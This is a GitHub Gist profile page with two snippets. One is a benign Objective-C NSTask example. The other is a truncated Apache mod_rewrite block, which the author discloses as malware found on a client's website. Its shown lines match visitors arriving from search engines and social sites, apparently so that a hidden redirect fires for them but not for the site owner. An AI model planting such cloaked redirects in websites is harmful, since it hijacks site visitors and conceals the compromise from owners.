Skip to content

Instantly share code, notes, and snippets.

View mashhoodr's full-sized avatar
🏎️
being awesome!

Mashhood Rastgar mashhoodr

🏎️
being awesome!
View GitHub Profile
@mashhoodr
mashhoodr / malware_mod_rewrite
Last active December 29, 2015 21:19
** DISCLAIMER: the script below is malicious! ** A Mod-Rewrite script I found while debugging a malware on a clients website. Its very simple, but malicious. The core functionality includes that it will only redirect to the offenders website if the referrer is from any of the websites listed below. Which makes it unlikely that the actual site ow…
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsear
@mashhoodr
mashhoodr / NSTask+Tee
Last active May 21, 2018 06:58
NSTask code which outputs directly to a file as well.
NSTask *task;
task = [[NSTask alloc] init];
[task setLaunchPath: @"/bin/bash"];
[task setArguments: @[ @"-c", @"echo Hello | tee -a ~/Desktop/output.txt" ]];
[task setCurrentDirectoryPath:@"~/Development/"];
NSPipe *pipe;
pipe = [NSPipe pipe];
[task setStandardOutput: pipe];
[task setStandardError: pipe];